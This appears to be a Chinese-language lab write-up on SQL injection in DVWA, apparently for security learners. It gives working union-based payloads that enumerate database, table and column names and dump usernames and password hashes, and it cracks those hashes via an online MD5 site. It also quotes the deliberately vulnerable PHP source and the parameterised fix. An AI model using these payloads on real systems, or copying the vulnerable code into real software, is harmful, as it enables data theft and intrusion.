一、SQL注入漏洞概述
1.漏洞原理
SQL注入漏洞是指,攻击者能够利用现有的Web应用程序,将恶意的数据插入SQL查询中,提交到服务器,从而欺骗服务器使后台数据库引擎执行恶意的非授权操作。
2.漏洞危害
(1)非法查询、修改或删除数据库的资源,造成相关的隐私泄露。
(2)被恶意操作执行系统命令。
(3)被获取承载主机操作系统和网络的访问权限。
(4)上传木马病毒,进行挂马攻击。
3.SQL攻击特点
1、广泛性
SQL注入利用的是SQL语法,使得基于SQL语言标准的数据库软件及网络应用程序都有可能遭受到SQL注入攻击。
2、隐蔽性
SQL注入语句一般都嵌入在普通的HTTP请求中,很难与正常语句区分开,所以当前许多防火墙都无法识别予以警告,而且SQL注入变种极多,攻击者可以调整攻击的参数,所以使用传统的方法防御SQL注入效果非常不理想。
3、危害大
攻击者通过SQL注入获取到服务器的库名、表名、字段名,从而获取到整个服务器中的数据,对网站用户的数据安全有极大的威胁。攻击者也可以通过获取到的数据,得到后台管理员的密码,然后对网页页面进行恶意篡改。
4、操作方便
互联网上有很多SQL注入工具,简单易学,攻击过程简单,不需要专业知识也能自如运用。这也使得SQL注入攻击更加容易发生。
4.SQL注入分类
(1)按照注入的参数类型分为:
数字型注入,字符型注入,搜索型注入
(2)按照请求方式分为:
GET注入,POST注入,HTTP Header注入,Cookie注入
(3)除此之外,还有:
联合注入,布尔盲注,堆叠注入,报错注入等其他注入方式。
二、SQL Injection
现实攻击场景下,攻击者是无法看到后端代码的,因此手工注入步骤是建立在无法看到源代码的基础上。SQL手工注入(非盲注)的基本步骤如下:
(1)是否存在注入,并判断注入类型。
(2)猜解SQL查询语句中的字段数及字段顺序。
(3)获取当前数据库名。
(4)获取数据库中的表名。
(5)获取表中的字段名。
(6)下载数据。
在DVWA中,SQL注入有LOW,MEDIUM,HIGH,IMPOSSIBLE四个等级,分别设置不同级别的代码进行SQL注入攻击。
LOW
首先,我们登录DVWA。登录后点击“DVWA Secsurity”将安全等级选为LOW。
(1)点击“SQL Injection”,在文本框中输入一些内容来判断是否存在注入。
输入:1,查询成功。
输入:1'and '1' = '2 ,发现查询失败,结果为空。
输入:1'or '1' = '1 ,这是一个简单的逻辑表达式,其中’1’ = '1’是一个成立的逻辑判断,返回结果为真(True)查询成功。
经过以上3次尝试可知,此处存在字符型漏洞。
(2)猜解SQL查询语句中的字段数。
输入1' or 1 = 1 order by 3 #查询失败
输入1' or 1 = 1 order by 2 #查询成功
order by 语句是排序(1' or 1 = 1 order by 2 # 按第二字段排序),通过查询的成功与否来判断字段数。这里也可以通过输入:
'union select 1,2 #
改代码可显示字段顺序,猜解字段数。('union select后面跟的数字个数即字段数)
此处使用了union联合注入,通过union实现与前面一条SQL语句拼接,将select后面的内容注入到各个字段中去。
(3)获取当前数据库名:
'union select user(),database()#
可以得知数据库名为dvwa。
(4)获取数据库中表的名称:
'union select 1,group_concat(table_name) from information_schema. tables where table_schema=database() #
information_schema.tables
是MySQL数据库的系统表之一,它保存了关于数据库中所有表的信息。通过指定table_schema=database()
条件,该查询将返回与当前数据库中的所有表相关的表名。
其返回结果说明dvwa数据库中存在guestbook和users两个表。
(5)获取表中的字段名,有两个表,所以别对两张表进行查询。通过查询发现我们想要的结果user和password在user上表中。
查询语句:
'union select 1,group_concat(column_name) from information_schema. columns where table_name = 'users'#
group_concat
是一种SQL聚合函数,用于将多行数据的值合并为一个字符串。information_schema.columns
是MySQL数据库的系统表之一,它保存了关于数据库中所有表、列、约束等信息的元数据。通过在WHERE子句中指定table_name = 'users'
条件,该查询将返回与"users"表相关的列名。
这里需要注意的是,代码中的表名一定要输入正确,引号中不能存在多余的东西,空格也不行!否则将无法正确回显。
错误展示:
'union select 1,group_concat(column_name) from information_schema. columns where table_name = 'users '#
(6)尝试获取user及password,输入命令如下:
'union select user,password from users #
输入后发现获取成功。
(7)密文破解
密文是32位,猜测可能为md5哈希值,借助md5加密解密网站https://www.cmd5.com/快速解析密码。
密文 | 解密 |
5f4dcc3b5aa765d61d8327deb882cf99 | password |
e99a18c428cb38d5f260853678922e03 | abc123 |
8d3533d75ae2c3966d7e0d4fcc69216b | charley |
0d107d09f5bbe40cade3de5c71e9e9b7 | letmein |
5f4dcc3b5aa765d61d8327deb882cf99 | password |
查看LOW安全级别的服务器端代码:
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
break;
case SQLITE:
global $sqlite_db_connection;
#$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
#$sqlite_db_connection->enableExceptions(true);
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
通过代码我可以发现以下问题:
代码执行$id = $_REQUEST['id']; 直接将从用户输入获取的值赋给$id变量,而没有进行任何的输入验证或者参数化处理,导致用户可以通过在id参数中插入恶意的SQL语句来执行任意的数据库操作。
同时,
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
这段代码将用户输入直接拼接到SQL查询语句中,这意味着如果$id中包含恶意的SQL语句,恶意用户就可以修改查询的逻辑,甚至执行危险的操作。
MEDIUM
将安全级别更改为medium
这里我们发现前端界面设置了下拉式菜单,以此防止出现LOW中在文本框中进行SQL注入的问题。因此,我们如果要判断是否存在注入,需要使用BurpSuite抓包工具。
需要注意的是,在使用BurpSuite抓包工具可能会遇到它默认的8080端口无法选择的情况,这是因为有其他的运行程序占用了此端口导致无法打开(我遇到的情况是因为我使用了XAMMP,有一个mysqld.exe占用了8080端口)这种情况只需要Add添加一个新的端口就行,别忘了把浏览器的代理端口改成和它一样的。
(这里我使用的是火狐浏览器挂的代理,edge浏览器的话不知道为什么老是挂不上,可能是插件没选对)
抓包结果如下:
之后我们就可以在图中最后一行id=1的那个位置,通过对其进行修改来判断是否存在注入以及注入类型
输入 'or 1=1 # 失败
输入 or 1=1 # 成功
证明该注入类型属于数字型注入,之后的步骤和LOW类似,在抓包工具中进行
最后写入
1 union select user,password from users #
可得到user和password
我们来观察medium安全级别的服务器端代码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
可以看到,这段代码$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);中利用mysqli_real_escape_string函数对特殊符号进行了转义。同时前端页面设置了下拉选择表单,以此来控制用户的输入。将查询语句中的 $id
直接嵌入到双引号内,而不是放在单引号内,以便MySQL能够正确解析注入的转义字符。
在代码中可以发现以下问题:
在代码中,$id
首先从 $_POST['id']
获取用户输入的值,后用 mysqli_real_escape_string
函数进行转义处理。但是我们发现
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
这段代码显示$id没有被引号包裹,因此$id
进行转义后没有被正确解释。导致其没有重新赋值给 $id
,而是直接使用了原始的 $id
进行查询。由此我们可以进行数字型注入。同时,$number_of_rows
的赋值操作应该在所有数据库操作之前进行,不然难以正确地统计数据库中的记录数。
HIGH
high安全级别的查询提交页面与查询结果显示页面不是同一个且没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入。因为sqlmap在注入过程中无法在查询提交页面上获取查询结果,没有反馈,就没办法进一步注入。
我先看high级别的服务器端代码:
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
代码中存在语句:
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
其中LIMIT 1
用于在查询结果中限制只返回一条记录。在这段代码中,LIMIT 1
的作用是确保只返回满足查询条件的第一条记录。但是LIMIT 1可以通过#注释掉,使得HIGH和LOW的手工注入类似。#
在 SQL 中作为单行注释的起始符号。当数据库解释器遇到 #
符号时,它会忽略从该符号开始到行末的所有内容,包括 LIMIT 1
后面的内容。
所以在文本框中输入
'union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
可获得user和password
注意,如果代码末尾没有加#,则会报错,LIMIT 1应该指定的是一个数字,但输入的是字符串。
这一问题即使关闭浏览器后重新打开依然会存在。最难受的是重新创建虚拟环境重新登录都没有。
解决方案:我们会发现我们再次打开http://localhost/dvwa/setup.php网站时,因为之前登录和使用过,主页是这样的:
它比第一次登录时多了左边的列表。是因为浏览器本身的记录功能(在使用一个dvwa账号的情况下,给予的判定一直是在“登录”,而不是第一次的“注册”)。所以只要我们清除浏览器的历史数据,
然后正常打开网站得到以下界面后,重新创建就能正常使用了。
IMPOSSIBLE
IMPOSSIBLE安全级别代码如下:
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
$id = intval ($id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection;
$stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
$stmt->bindValue(':id',$id,SQLITE3_INTEGER);
$result = $stmt->execute();
$result->finalize();
if ($result !== false) {
// There is no way to get the number of rows returned
// This checks the number of columns (not rows) just
// as a precaution, but it won't stop someone dumping
// multiple rows and viewing them one at a time.
$num_columns = $result->numColumns();
if ($num_columns == 2) {
$row = $result->fetchArray();
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
break;
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
从代码中可以得知,该代码采用了PDO技术(使用参数化查询或预处理语句,帮助防范SQL注入攻击。通过将用户提供的输入作为参数绑定到查询语句中,而不是将其直接插入到查询字符串中,减少攻击风险)。PDO::PARAM_INT
是参数的数据类型,指定为整数。能有效防御SQL注入,同时只有返回的查询混结果的数量为1时,才会成功输出,可以有效预防“脱裤”。此外,Anti-CRSFtoken机制的加入进一步提高了安全性。
三、配置
若要进行DVWA的安装配置,请参考https://blog.csdn.net/m0_67446464/article/details/133694872?spm=1001.2014.3001.5502